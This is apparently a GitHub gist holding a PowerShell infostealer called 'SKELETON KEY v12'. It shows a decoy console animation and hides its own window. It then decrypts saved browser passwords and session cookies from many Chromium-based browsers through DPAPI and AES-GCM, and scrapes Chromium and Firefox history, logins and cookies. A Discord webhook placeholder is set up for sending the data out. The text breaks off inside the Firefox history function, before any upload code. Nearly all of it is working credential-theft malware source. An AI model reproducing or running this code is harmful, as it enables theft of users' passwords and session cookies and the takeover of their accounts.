Created
July 26, 2026 05:39
-
-
Save Gravity3432/889ce61416743b7cd5b8c27d28e9b9eb to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # ============================================================ | |
| # SKELETON KEY v12 — Rebuilt from working reference | |
| # Unicode SQLite + BCrypt GCM fix + hardcoded columns | |
| # ============================================================ | |
| if (!$DiscordUrl) { $DiscordUrl = 'YOUR_DISCORD_WEBHOOK_HERE' } | |
| try { | |
| $skTemp = "$env:TEMP\sk-$([Guid]::NewGuid().ToString('n').Substring(0,6))" | |
| $skSig = "$env:TEMP\sk_done.sig" | |
| $skOut = "$skTemp\out" | |
| $skLog = "$skTemp\log.txt" | |
| Remove-Item $skSig -Force -ErrorAction SilentlyContinue | |
| New-Item -ItemType Directory -Path $skOut -Force -ErrorAction Stop | Out-Null | |
| '' | Out-File $skLog -Force -Encoding ASCII | |
| } catch { | |
| '' | Out-File "$env:TEMP\sk_done.sig" -Force -Encoding ASCII | |
| exit | |
| } | |
| function sklog($msg) { | |
| "$(Get-Date -Format 'HH:mm:ss') $msg" | Out-File $skLog -Append -Encoding ASCII | |
| } | |
| sklog "=== SKELETON KEY v12 START ===" | |
| sklog "Temp: $skTemp" | |
| sklog "User: $env:USERNAME / Host: $env:COMPUTERNAME" | |
| # ==================== 1. LAUNCH ANIMATION (independent process) ==================== | |
| sklog "Writing animation batch..." | |
| $animBat = @' | |
| @echo off | |
| title SKELETON KEY | |
| setlocal enabledelayedexpansion | |
| set "sig=%TEMP%\sk_done.sig" | |
| :loop | |
| color 0A | |
| cls | |
| echo. | |
| echo. | |
| echo .-'''-. | |
| echo ' _ \ | |
| echo / /` '. \ | |
| echo . | \ ' __.....__ | |
| echo | ' | ' .-'' '. | |
| echo .-'''-. \ \ / / / .-''"'-. `. | |
| echo ' _ \ `. ` ..' / / /________\ \ | |
| echo / /` '. \ '-...-'` | | | |
| echo . | \ ' \ .-------------' | |
| echo | ' | ' \ '-.____...---. | |
| echo \ \ / / . `. .' | |
| echo `. ` ..' / .-. ' . `''-...... -' | |
| echo '-...-'` \ \ / | |
| echo \ \ / | |
| echo ========================================== | |
| echo SKELETON KEY v2.0 | |
| echo ========================================== | |
| echo. | |
| timeout /t 1 /nobreak >nul | |
| if exist "%sig%" exit | |
| color 02 | |
| cls | |
| echo. | |
| echo. | |
| echo .-'''-. | |
| echo ' _ \ | |
| echo / /` '. \ | |
| echo . | \ ' __.....__ | |
| echo | ' | ' .-'' '. | |
| echo .-'''-. \ \ / / / .-''"'-. `. | |
| echo ' _ \ `. ` ..' / / /________\ \ | |
| echo / /` '. \ '-...-'` | | | |
| echo . | \ ' \ .-------------' | |
| echo | ' | ' \ '-.____...---. | |
| echo \ \ / / . `. .' | |
| echo `. ` ..' / .-. ' . `''-...... -' | |
| echo '-...-'` \ \ / | |
| echo \ \ / | |
| echo ========================================== | |
| echo SKELETON KEY v2.0 | |
| echo ========================================== | |
| echo. | |
| timeout /t 1 /nobreak >nul | |
| if exist "%sig%" exit | |
| color A0 | |
| cls | |
| echo. | |
| echo. | |
| echo .-'''-. | |
| echo ' _ \ | |
| echo / /` '. \ | |
| echo . | \ ' __.....__ | |
| echo | ' | ' .-'' '. | |
| echo .-'''-. \ \ / / / .-''"'-. `. | |
| echo ' _ \ `. ` ..' / / /________\ \ | |
| echo / /` '. \ '-...-'` | | | |
| echo . | \ ' \ .-------------' | |
| echo | ' | ' \ '-.____...---. | |
| echo \ \ / / . `. .' | |
| echo `. ` ..' / .-. ' . `''-...... -' | |
| echo '-...-'` \ \ / | |
| echo \ \ / | |
| echo ========================================== | |
| echo SKELETON KEY v2.0 | |
| echo ========================================== | |
| echo. | |
| timeout /t 1 /nobreak >nul | |
| if exist "%sig%" exit | |
| color 0A | |
| cls | |
| echo. | |
| echo. | |
| echo .-'''-. .-'''-. | |
| echo ' _ \ ' _ \ | |
| echo / /` '. \ / /` '. \ | |
| echo . | \ ' . | \ ' __.....__ | |
| echo | ' | '| ' | '.-'' '. | |
| echo .-'''-. \ \ / / \ \ / // .-''"'-. `. | |
| echo ' _ \ `. ` ..' / `. ` ..' // /________\ \ | |
| echo / /` '. \ '-...-'` '-...-'` | | | |
| echo . | \ ' \ .------------' | |
| echo | ' | ' \ '-.____...---. | |
| echo \ \ / / . `. .' | |
| echo `. ` ..' / .-. ' . `''-...... -' | |
| echo '-...-'` \ \ / | |
| echo \ \ / | |
| echo ========================================== | |
| echo SKELETON KEY v2.0 | |
| echo ========================================== | |
| echo. | |
| timeout /t 1 /nobreak >nul | |
| if exist "%sig%" exit | |
| color 00 | |
| cls | |
| echo. | |
| echo. | |
| echo. | |
| echo. | |
| echo. | |
| echo. | |
| echo. | |
| echo * * * * * * * * * * * | |
| echo * * | |
| echo * SKELETON KEY * | |
| echo * * | |
| echo * * * * * * * * * * * | |
| echo. | |
| echo. | |
| echo. | |
| echo. | |
| echo. | |
| timeout /t 1 /nobreak >nul | |
| if exist "%sig%" exit | |
| color 0A | |
| cls | |
| echo. | |
| echo. | |
| echo .-'''-. | |
| echo ' _ \ | |
| echo / /` '. \ | |
| echo . | \ ' __.....__ | |
| echo | ' | ' .-'' '. | |
| echo .-'''-. \ \ / / / .-''"'-. `. | |
| echo ' _ \ `. ` ..' / / /________\ \ | |
| echo / /` '. \ '-...-'` | | | |
| echo . | \ ' \ .-------------' | |
| echo | ' | ' \ '-.____...---. | |
| echo \ \ / / . `. .' | |
| echo `. ` ..' / .-. ' . `''-...... -' | |
| echo '-...-'` \ \ / | |
| echo \ \ / | |
| echo ========================================== | |
| echo SKELETON KEY v2.0 | |
| echo ========================================== | |
| echo. | |
| timeout /t 1 /nobreak >nul | |
| if exist "%sig%" exit | |
| color A0 | |
| cls | |
| echo. | |
| echo. | |
| echo .-'''-. | |
| echo ' _ \ | |
| echo / /` '. \ | |
| echo . | \ ' __.....__ | |
| echo | ' | ' .-'' '. | |
| echo .-'''-. \ \ / / / .-''"'-. `. | |
| echo ' _ \ `. ` ..' / / /________\ \ | |
| echo / /` '. \ '-...-'` | | | |
| echo . | \ ' \ .-------------' | |
| echo | ' | ' \ '-.____...---. | |
| echo \ \ / / . `. .' | |
| echo `. ` ..' / .-. ' . `''-...... -' | |
| echo '-...-'` \ \ / | |
| echo \ \ / | |
| echo ========================================== | |
| echo SKELETON KEY v2.0 | |
| echo ========================================== | |
| echo. | |
| timeout /t 1 /nobreak >nul | |
| if exist "%sig%" exit | |
| color 02 | |
| cls | |
| echo. | |
| echo. | |
| echo .-'''-. .-'''-. | |
| echo ' _ \ ' _ \ | |
| echo / /` '. \ / /` '. \ | |
| echo . | \ ' . | \ ' __.....__ | |
| echo | ' | '| ' | '.-'' '. | |
| echo .-'''-. \ \ / / \ \ / // .-''"'-. `. | |
| echo ' _ \ `. ` ..' / `. ` ..' // /________\ \ | |
| echo / /` '. \ '-...-'` '-...-'` | | | |
| echo . | \ ' \ .------------' | |
| echo | ' | ' \ '-.____...---. | |
| echo \ \ / / . `. .' | |
| echo `. ` ..' / .-. ' . `''-...... -' | |
| echo '-...-'` \ \ / | |
| echo \ \ / | |
| echo ========================================== | |
| echo SKELETON KEY v2.0 | |
| echo ========================================== | |
| echo. | |
| timeout /t 1 /nobreak >nul | |
| if exist "%sig%" exit | |
| goto loop | |
| '@ | |
| $animPath = "$skTemp\anim.bat" | |
| [System.IO.File]::WriteAllText($animPath, $animBat, [System.Text.Encoding]::ASCII) | |
| sklog "Anim written: $((Get-Item $animPath).Length) bytes" | |
| sklog "Launching animation (independent)..." | |
| $psi = New-Object System.Diagnostics.ProcessStartInfo | |
| $psi.FileName = 'cmd.exe' | |
| $psi.Arguments = "/c `"$animPath`"" | |
| $psi.UseShellExecute = $true | |
| $psi.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Normal | |
| $animProc = [System.Diagnostics.Process]::Start($psi) | |
| sklog "Animation PID: $($animProc.Id)" | |
| Start-Sleep -Milliseconds 1000 | |
| # ==================== 2. HIDE POWERSHELL WINDOW ==================== | |
| sklog "Hiding PowerShell window..." | |
| Add-Type @' | |
| using System; | |
| using System.Runtime.InteropServices; | |
| public class SKHide { | |
| [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); | |
| [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); | |
| } | |
| '@ | |
| [SKHide]::ShowWindow([SKHide]::GetConsoleWindow(), 0) | |
| # ==================== 3. WinSQLite3 — UNICODE APIs (from working gist) ==================== | |
| sklog "Loading WinSQLite3 (Unicode)..." | |
| Add-Type @" | |
| using System; | |
| using System.Runtime.InteropServices; | |
| public static class WinSQLite3 { | |
| const string d = "winsqlite3"; | |
| [DllImport(d,EntryPoint="sqlite3_open")] | |
| public static extern IntPtr Open([MarshalAs(UnmanagedType.LPStr)]string f, out IntPtr db); | |
| [DllImport(d,EntryPoint="sqlite3_prepare16_v2")] | |
| public static extern IntPtr Prepare2(IntPtr db, [MarshalAs(UnmanagedType.LPWStr)] string s, int n, out IntPtr stmt, IntPtr t); | |
| [DllImport(d,EntryPoint="sqlite3_step")] | |
| public static extern IntPtr Step(IntPtr stmt); | |
| [DllImport(d,EntryPoint="sqlite3_column_text16")] | |
| static extern IntPtr ColTxt16(IntPtr s, int i); | |
| [DllImport(d,EntryPoint="sqlite3_column_bytes")] | |
| static extern int ColBytes(IntPtr s, int i); | |
| [DllImport(d,EntryPoint="sqlite3_column_blob")] | |
| static extern IntPtr ColBlob(IntPtr s, int i); | |
| [DllImport(d,EntryPoint="sqlite3_column_int64")] | |
| static extern long ColInt64(IntPtr s, int i); | |
| [DllImport(d,EntryPoint="sqlite3_finalize")] | |
| public static extern IntPtr Finalize(IntPtr s); | |
| [DllImport(d,EntryPoint="sqlite3_close")] | |
| public static extern IntPtr Close(IntPtr db); | |
| public static string ColStr(IntPtr s, int i) { return Marshal.PtrToStringUni(ColTxt16(s,i)); } | |
| public static byte[] ColByt(IntPtr s, int i) { int l = ColBytes(s,i); byte[] r = new byte[l]; if(l>0) Marshal.Copy(ColBlob(s,i), r, 0, l); return r; } | |
| public static long ColLng(IntPtr s, int i) { return ColInt64(s,i); } | |
| } | |
| "@ | |
| sklog "WinSQLite3 OK" | |
| # ==================== 4. BCrypt AES-GCM — v12 fix ==================== | |
| sklog "Loading BCryptAES..." | |
| Add-Type -AssemblyName System.Security | |
| Add-Type @" | |
| using System; | |
| using System.Runtime.InteropServices; | |
| public class BCryptAES { | |
| [StructLayout(LayoutKind.Sequential)] | |
| public struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO { | |
| public int cbSize; | |
| public int dwInfoVersion; | |
| public IntPtr pbNonce; | |
| public int cbNonce; | |
| public IntPtr pbAuthData; | |
| public int cbAuthData; | |
| public IntPtr pbTag; | |
| public int cbTag; | |
| public IntPtr pbMacContext; | |
| public int cbMacContext; | |
| public int cbAAD; | |
| public long cbData; | |
| public int dwFlags; | |
| } | |
| [DllImport("bcrypt.dll", CharSet=CharSet.Unicode)] | |
| public static extern int BCryptOpenAlgorithmProvider(out IntPtr phAlgorithm, [MarshalAs(UnmanagedType.LPWStr)] string pszAlgId, [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, int dwFlags); | |
| [DllImport("bcrypt.dll", CharSet=CharSet.Unicode)] | |
| public static extern int BCryptSetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags); | |
| [DllImport("bcrypt.dll", CharSet=CharSet.Unicode)] | |
| public static extern int BCryptGenerateSymmetricKey(IntPtr hAlgorithm, out IntPtr phKey, byte[] pbKeyObject, int cbKeyObject, byte[] pbSecret, int cbSecret, int dwFlags); | |
| [DllImport("bcrypt.dll", CharSet=CharSet.Unicode)] | |
| public static extern int BCryptDecrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, out int pcbResult, int dwFlags); | |
| [DllImport("bcrypt.dll", CharSet=CharSet.Unicode)] | |
| public static extern int BCryptDestroyKey(IntPtr hKey); | |
| [DllImport("bcrypt.dll", CharSet=CharSet.Unicode)] | |
| public static extern int BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, int dwFlags); | |
| } | |
| "@ | |
| sklog "BCryptAES OK" | |
| # ==================== 5. HELPER: Query-SQLite (hardcoded positional) ==================== | |
| function Query-SQLiteRaw { | |
| param([string]$DbPath, [string]$Query, [int]$ColCount) | |
| $rows = @() | |
| $db = [IntPtr]::Zero | |
| if ([WinSQLite3]::Open($DbPath, [ref]$db) -ne [IntPtr]::Zero) { | |
| sklog " SQLite open FAIL: $DbPath" | |
| return $rows | |
| } | |
| try { | |
| $stmt = [IntPtr]::Zero | |
| if ([WinSQLite3]::Prepare2($db, $Query, -1, [ref]$stmt, [IntPtr]::Zero) -ne [IntPtr]::Zero) { | |
| sklog " SQLite prepare FAIL" | |
| return $rows | |
| } | |
| try { | |
| while ([WinSQLite3]::Step($stmt) -eq [IntPtr]::Zero) { | |
| $row = New-Object object[] $ColCount | |
| for ($i = 0; $i -lt $ColCount; $i++) { | |
| $row[$i] = [WinSQLite3]::ColByt($stmt, $i) | |
| } | |
| $rows += ,$row | |
| } | |
| } finally { [WinSQLite3]::Finalize($stmt) | Out-Null } | |
| } finally { [WinSQLite3]::Close($db) | Out-Null } | |
| return $rows | |
| } | |
| function Get-ChromiumKey { | |
| param([string]$UserDataPath) | |
| $localStatePath = Join-Path $UserDataPath 'Local State' | |
| if (!(Test-Path $localStatePath)) { sklog " No Local State: $localStatePath"; return $null } | |
| try { | |
| $localState = Get-Content $localStatePath -Raw -ErrorAction Stop | ConvertFrom-Json | |
| $b64Key = $localState.os_crypt.encrypted_key | |
| if (!$b64Key) { sklog " No os_crypt.encrypted_key"; return $null } | |
| $encKey = [Convert]::FromBase64String($b64Key) | |
| if ($encKey.Length -le 5) { return $null } | |
| $encKey = $encKey[5..($encKey.Length-1)] | |
| $key = [System.Security.Cryptography.ProtectedData]::Unprotect($encKey, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) | |
| return $key | |
| } catch { sklog " Key ERROR: $_"; return $null } | |
| } | |
| function Decrypt-ChromiumBlob { | |
| param([byte[]]$aesKey, [byte[]]$blob) | |
| if ($null -eq $blob -or $blob.Length -le 15) { return '' } | |
| $prefix = [System.Text.Encoding]::ASCII.GetString($blob[0..2]) | |
| if ($prefix -notmatch '^v1[0-9]$') { | |
| try { return [System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($blob, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)) } catch { return '' } | |
| } | |
| try { | |
| $nonce = [byte[]]($blob[3..14]) | |
| $ciphertext = [byte[]]($blob[15..($blob.Length - 17)]) | |
| $tag = [byte[]]($blob[($blob.Length - 16)..($blob.Length - 1)]) | |
| $algPtr = [IntPtr]::Zero | |
| if ([BCryptAES]::BCryptOpenAlgorithmProvider([ref]$algPtr, 'AES', $null, 0) -ne 0) { return '' } | |
| try { | |
| [BCryptAES]::BCryptSetProperty($algPtr, 'ChainingMode', [System.Text.Encoding]::Unicode.GetBytes('ChainingModeGCM'), [System.Text.Encoding]::Unicode.GetBytes('ChainingModeGCM').Length, 0) | Out-Null | |
| $keyBuf = New-Object byte[] 32 | |
| $keyPtr = [IntPtr]::Zero | |
| [BCryptAES]::BCryptGenerateSymmetricKey($algPtr, [ref]$keyPtr, $keyBuf, $keyBuf.Length, $aesKey, $aesKey.Length, 0) | Out-Null | |
| try { | |
| $gcmInfo = New-Object BCryptAES+BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO | |
| $gcmInfo.cbSize = [System.Runtime.InteropServices.Marshal]::SizeOf($gcmInfo) | |
| $gcmInfo.dwInfoVersion = 1 | |
| $gcmInfo.pbNonce = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(12) | |
| [System.Runtime.InteropServices.Marshal]::Copy($nonce, 0, $gcmInfo.pbNonce, 12) | |
| $gcmInfo.cbNonce = 12 | |
| $gcmInfo.pbTag = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(16) | |
| [System.Runtime.InteropServices.Marshal]::Copy($tag, 0, $gcmInfo.pbTag, 16) | |
| $gcmInfo.cbTag = 16 | |
| try { | |
| $outBuf = New-Object byte[] $ciphertext.Length | |
| $outLen = 0 | |
| $rc = [BCryptAES]::BCryptDecrypt($keyPtr, $ciphertext, $ciphertext.Length, [ref]$gcmInfo, $null, 0, $outBuf, $outBuf.Length, [ref]$outLen, 0) | |
| if ($rc -eq 0 -and $outLen -gt 0) { | |
| return [System.Text.Encoding]::UTF8.GetString($outBuf[0..($outLen-1)]) | |
| } | |
| } finally { | |
| [System.Runtime.InteropServices.Marshal]::FreeHGlobal($gcmInfo.pbNonce) | |
| [System.Runtime.InteropServices.Marshal]::FreeHGlobal($gcmInfo.pbTag) | |
| } | |
| } finally { [BCryptAES]::BCryptDestroyKey($keyPtr) | Out-Null } | |
| } finally { [BCryptAES]::BCryptCloseAlgorithmProvider($algPtr, 0) | Out-Null } | |
| } catch { return '' } | |
| return '' | |
| } | |
| function Convert-ChromiumTime { | |
| param([long]$microseconds) | |
| if ($microseconds -le 0) { return 'N/A' } | |
| try { return [DateTime]::FromFileTimeUtc($microseconds * 10L).ToString('yyyy-MM-dd HH:mm:ss') } catch { return 'N/A' } | |
| } | |
| function Get-FirefoxProfilePath { | |
| $ffDir = Join-Path $env:APPDATA 'Mozilla\Firefox\Profiles' | |
| if (!(Test-Path $ffDir)) { return $null } | |
| $profiles = Get-ChildItem $ffDir -Directory -ErrorAction SilentlyContinue | Where-Object { $_.Name -match '\.default' -or $_.Name -match '\.default-release' } | |
| if ($profiles) { return $profiles[0].FullName } | |
| $allProf = Get-ChildItem $ffDir -Directory -ErrorAction SilentlyContinue | |
| if ($allProf) { return $allProf[0].FullName } | |
| return $null | |
| } | |
| # ==================== 6. BROWSER LIST ==================== | |
| $ChromiumBrowsers = @( | |
| @{Name='Chrome'; Path="$env:LOCALAPPDATA\Google\Chrome\User Data"}, | |
| @{Name='Chrome Beta'; Path="$env:LOCALAPPDATA\Google\Chrome Beta\User Data"}, | |
| @{Name='Edge'; Path="$env:LOCALAPPDATA\Microsoft\Edge\User Data"}, | |
| @{Name='Brave'; Path="$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data"}, | |
| @{Name='Opera'; Path="$env:APPDATA\Opera Software\Opera Stable"}, | |
| @{Name='Opera GX'; Path="$env:APPDATA\Opera Software\Opera GX Stable"}, | |
| @{Name='Vivaldi'; Path="$env:LOCALAPPDATA\Vivaldi\User Data"}, | |
| @{Name='Chromium'; Path="$env:LOCALAPPDATA\Chromium\User Data"}, | |
| @{Name='Yandex'; Path="$env:LOCALAPPDATA\Yandex\YandexBrowser\User Data"}, | |
| @{Name='360Browser'; Path="$env:LOCALAPPDATA\360Chrome\Chrome\User Data"}, | |
| @{Name='Comodo Dragon'; Path="$env:LOCALAPPDATA\Comodo\Dragon\User Data"}, | |
| @{Name='Epic'; Path="$env:LOCALAPPDATA\Epic Privacy Browser\User Data"}, | |
| @{Name='Iridium'; Path="$env:LOCALAPPDATA\Iridium\User Data"}, | |
| @{Name='Slimjet'; Path="$env:LOCALAPPDATA\Slimjet\User Data"}, | |
| @{Name='UR'; Path="$env:LOCALAPPDATA\UR Browser\User Data"}, | |
| @{Name='CocCoc'; Path="$env:LOCALAPPDATA\CocCoc\Browser\User Data"} | |
| ) | |
| function Get-ChromiumProfiles { | |
| param([string]$BasePath) | |
| $profiles = @() | |
| $defaultProfile = Join-Path $BasePath 'Default' | |
| if (Test-Path $defaultProfile) { $profiles += $defaultProfile } | |
| $num = 1 | |
| while (Test-Path (Join-Path $BasePath "Profile $num")) { | |
| $profiles += Join-Path $BasePath "Profile $num" | |
| $num++ | |
| } | |
| return $profiles | |
| } | |
| # ==================== 7. PASSWORD SCRAPER (v12: positional columns + Unicode SQLite) ==================== | |
| function Get-ChromiumPasswords { | |
| param([string]$BrowserName, [string]$UserDataPath) | |
| $out = @() | |
| $aesKey = Get-ChromiumKey -UserDataPath $UserDataPath | |
| if (!$aesKey) { return $out } | |
| foreach ($profile in (Get-ChromiumProfiles $UserDataPath)) { | |
| $loginDb = Join-Path $profile 'Login Data' | |
| if (!(Test-Path $loginDb)) { continue } | |
| $tmpDb = "$skTemp\pw_$($BrowserName)_$(Split-Path $profile -Leaf).db" | |
| try { | |
| try { Copy-Item $loginDb $tmpDb -Force -ErrorAction Stop } | |
| catch { [System.IO.File]::WriteAllBytes($tmpDb, [System.IO.File]::ReadAllBytes($loginDb)) } | |
| $rows = Query-SQLiteRaw $tmpDb "SELECT origin_url, username_value, password_value FROM logins" 3 | |
| sklog " $BrowserName logins DB: $($rows.Count) rows" | |
| $cnt = 0; $decFail = 0 | |
| foreach ($r in $rows) { | |
| $urlBytes = $r[0] | |
| $userBytes = $r[1] | |
| $passBytes = $r[2] | |
| $url = if ($urlBytes) { [System.Text.Encoding]::UTF8.GetString($urlBytes) } else { '' } | |
| $user = if ($userBytes) { [System.Text.Encoding]::UTF8.GetString($userBytes) } else { '' } | |
| if ($passBytes -and $passBytes.Length -gt 0) { | |
| $pw = Decrypt-ChromiumBlob -aesKey $aesKey -blob $passBytes | |
| if ($pw) { | |
| $out += [PSCustomObject]@{Url=$url; Username=$user; Password=$pw; Browser=$BrowserName} | |
| $cnt++ | |
| } else { $decFail++ } | |
| } | |
| } | |
| sklog " Passwords: $BrowserName = $cnt decrypted, $decFail failed" | |
| } catch { sklog "PASSWORD ERROR ($BrowserName): $_" } | |
| Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue | |
| } | |
| return $out | |
| } | |
| # ==================== 8. COOKIE SCRAPER (v12: positional) ==================== | |
| function Get-ChromiumCookies { | |
| param([string]$BrowserName, [string]$UserDataPath) | |
| $out = @() | |
| $aesKey = Get-ChromiumKey -UserDataPath $UserDataPath | |
| if (!$aesKey) { return $out } | |
| foreach ($profile in (Get-ChromiumProfiles $UserDataPath)) { | |
| $cookieDb = Join-Path $profile 'Network\Cookies' | |
| if (!(Test-Path $cookieDb)) { $cookieDb = Join-Path $profile 'Cookies' } | |
| if (!(Test-Path $cookieDb)) { continue } | |
| $tmpDb = "$skTemp\ck_$($BrowserName)_$(Split-Path $profile -Leaf).db" | |
| try { | |
| try { Copy-Item $cookieDb $tmpDb -Force -ErrorAction Stop } | |
| catch { [System.IO.File]::WriteAllBytes($tmpDb, [System.IO.File]::ReadAllBytes($cookieDb)) } | |
| $rows = Query-SQLiteRaw $tmpDb "SELECT host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly FROM cookies" 7 | |
| $cnt = 0 | |
| foreach ($r in $rows) { | |
| $hostB = $r[0]; $nameB = $r[1]; $encB = $r[2]; $pathB = $r[3] | |
| $expRaw = [BitConverter]::ToInt64($r[4], 0) # BLOB → int64 | |
| $secB = $r[5]; $httpB = $r[6] | |
| $host = if ($hostB) { [System.Text.Encoding]::UTF8.GetString($hostB) } else { '' } | |
| $name = if ($nameB) { [System.Text.Encoding]::UTF8.GetString($nameB) } else { '' } | |
| $path = if ($pathB) { [System.Text.Encoding]::UTF8.GetString($pathB) } else { '/' } | |
| $val = if ($encB -and $encB.Length -gt 0) { Decrypt-ChromiumBlob -aesKey $aesKey -blob $encB } else { '' } | |
| $exp = if ($expRaw -gt 0) { Convert-ChromiumTime $expRaw } else { 'Session' } | |
| $secure = if ($secB -and $secB.Length -gt 0 -and $secB[0] -ne 0) { 'TRUE' } else { 'FALSE' } | |
| $httponly = if ($httpB -and $httpB.Length -gt 0 -and $httpB[0] -ne 0) { 'TRUE' } else { 'FALSE' } | |
| $out += [PSCustomObject]@{ | |
| Host=$host; Name=$name; Value=if($val){$val}else{'[empty]'}; Path=$path | |
| Expires=$exp; Secure=$secure; HttpOnly=$httponly | |
| } | |
| $cnt++ | |
| } | |
| sklog "Cookies: $BrowserName = $cnt entries" | |
| } catch { sklog "COOKIE ERROR ($BrowserName): $_" } | |
| Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue | |
| } | |
| return $out | |
| } | |
| # ==================== 9. HISTORY SCRAPER (v12: positional) ==================== | |
| function Get-ChromiumHistory { | |
| param([string]$BrowserName, [string]$UserDataPath) | |
| $out = @() | |
| foreach ($profile in (Get-ChromiumProfiles $UserDataPath)) { | |
| $histDb = Join-Path $profile 'History' | |
| if (!(Test-Path $histDb)) { continue } | |
| $tmpDb = "$skTemp\hi_$($BrowserName)_$(Split-Path $profile -Leaf).db" | |
| try { | |
| try { Copy-Item $histDb $tmpDb -Force -ErrorAction Stop } | |
| catch { [System.IO.File]::WriteAllBytes($tmpDb, [System.IO.File]::ReadAllBytes($histDb)) } | |
| $rows = Query-SQLiteRaw $tmpDb "SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 500" 4 | |
| $cnt = 0 | |
| foreach ($r in $rows) { | |
| $urlB = $r[0]; $titleB = $r[1]; $vcB = $r[2]; $lvtB = $r[3] | |
| $url = if ($urlB) { [System.Text.Encoding]::UTF8.GetString($urlB) } else { '' } | |
| $title = if ($titleB) { [System.Text.Encoding]::UTF8.GetString($titleB) } else { '' } | |
| $vc = if ($vcB -and $vcB.Length -ge 4) { [BitConverter]::ToInt32($vcB, 0) } else { 0 } | |
| $lvt = if ($lvtB -and $lvtB.Length -ge 8) { [BitConverter]::ToInt64($lvtB, 0) } else { 0 } | |
| $out += [PSCustomObject]@{ | |
| Url=$url; Title=$title; Visits=$vc; LastVisit=(Convert-ChromiumTime $lvt) | |
| } | |
| $cnt++ | |
| } | |
| sklog "History: $BrowserName = $cnt entries" | |
| } catch { sklog "HISTORY ERROR ($BrowserName): $_" } | |
| Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue | |
| } | |
| return $out | |
| } | |
| # ==================== 10. FIREFOX SCRAPERS ==================== | |
| function Get-FirefoxPasswords { | |
| $ffProfile = Get-FirefoxProfilePath | |
| if (!$ffProfile) { return @() } | |
| $loginsPath = Join-Path $ffProfile 'logins.json' | |
| if (!(Test-Path $loginsPath)) { return @() } | |
| try { | |
| $loginsJson = Get-Content $loginsPath -Raw -ErrorAction Stop | ConvertFrom-Json | |
| $out = @() | |
| foreach ($login in $loginsJson.logins) { | |
| $out += [PSCustomObject]@{Url=$login.hostname; Username=$login.encryptedUsername; Password='[NSS encrypted]'; Browser='Firefox'} | |
| } | |
| sklog "Firefox passwords: $($out.Count)" | |
| return $out | |
| } catch { sklog "Firefox passwords ERROR: $_"; return @() } | |
| } | |
| function Get-FirefoxCookies { | |
| $ffProfile = Get-FirefoxProfilePath | |
| if (!$ffProfile) { return @() } | |
| $cookieDb = Join-Path $ffProfile 'cookies.sqlite' | |
| if (!(Test-Path $cookieDb)) { return @() } | |
| $tmpDb = "$skTemp\ff_cookies.db" | |
| try { | |
| try { Copy-Item $cookieDb $tmpDb -Force -ErrorAction Stop } | |
| catch { [System.IO.File]::WriteAllBytes($tmpDb, [System.IO.File]::ReadAllBytes($cookieDb)) } | |
| $rows = Query-SQLiteRaw $tmpDb "SELECT host, name, value, path, expiry, isSecure, isHttpOnly FROM moz_cookies ORDER BY expiry DESC LIMIT 1000" 7 | |
| $out = @() | |
| foreach ($r in $rows) { | |
| $hostB = $r[0]; $nameB = $r[1]; $valB = $r[2]; $pathB = $r[3]; $expB = $r[4]; $secB = $r[5]; $httpB = $r[6] | |
| $host = if ($hostB) { [System.Text.Encoding]::UTF8.GetString($hostB) } else { '' } | |
| $name = if ($nameB) { [System.Text.Encoding]::UTF8.GetString($nameB) } else { '' } | |
| $val = if ($valB) { [System.Text.Encoding]::UTF8.GetString($valB) } else { '[empty]' } | |
| $path = if ($pathB) { [System.Text.Encoding]::UTF8.GetString($pathB) } else { '/' } | |
| $expRaw = if ($expB -and $expB.Length -ge 4) { [BitConverter]::ToInt32($expB, 0) } else { 0 } | |
| $exp = if ($expRaw -gt 0) { ([DateTime]::new(1970,1,1,0,0,0,[System.DateTimeKind]::Utc)).AddSeconds($expRaw).ToString('yyyy-MM-dd HH:mm:ss') } else { 'Session' } | |
| $secure = if ($secB -and $secB.Length -gt 0 -and $secB[0] -ne 0) { 'TRUE' } else { 'FALSE' } | |
| $httponly = if ($httpB -and $httpB.Length -gt 0 -and $httpB[0] -ne 0) { 'TRUE' } else { 'FALSE' } | |
| $out += [PSCustomObject]@{Host=$host; Name=$name; Value=$val; Path=$path; Expires=$exp; Secure=$secure; HttpOnly=$httponly} | |
| } | |
| sklog "Firefox cookies: $($out.Count)" | |
| return $out | |
| } catch { sklog "Firefox cookies ERROR: $_"; return @() } | |
| finally { Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue } | |
| } | |
| function Get-FirefoxHistory { | |
| $ffProfile = Get-FirefoxProfilePath | |
| if (!$ffProfile) { return @() } | |
| $placesDb = Join-Path $ffProfile 'places.sqlite' | |
| if (!(Test-Path $placesDb)) { return @() } | |
| $tmpDb = "$skTemp\ff_history.db" | |
| try { | |
| try { Copy-Item $placesDb $tmpDb -Force -ErrorAction Stop } | |
| catch { [System.IO.File]::WriteAllBytes($tmpDb, [System.IO.File]::ReadAllBytes($placesDb)) } | |
| $rows = Query-SQLiteRaw $tmpDb "SELECT url, title, visit_count, last_visit_date FROM moz_places ORDER BY last_visit_date DESC LIMIT 500" 4 | |
| $out = @() | |
| foreach ($r in $rows) { | |
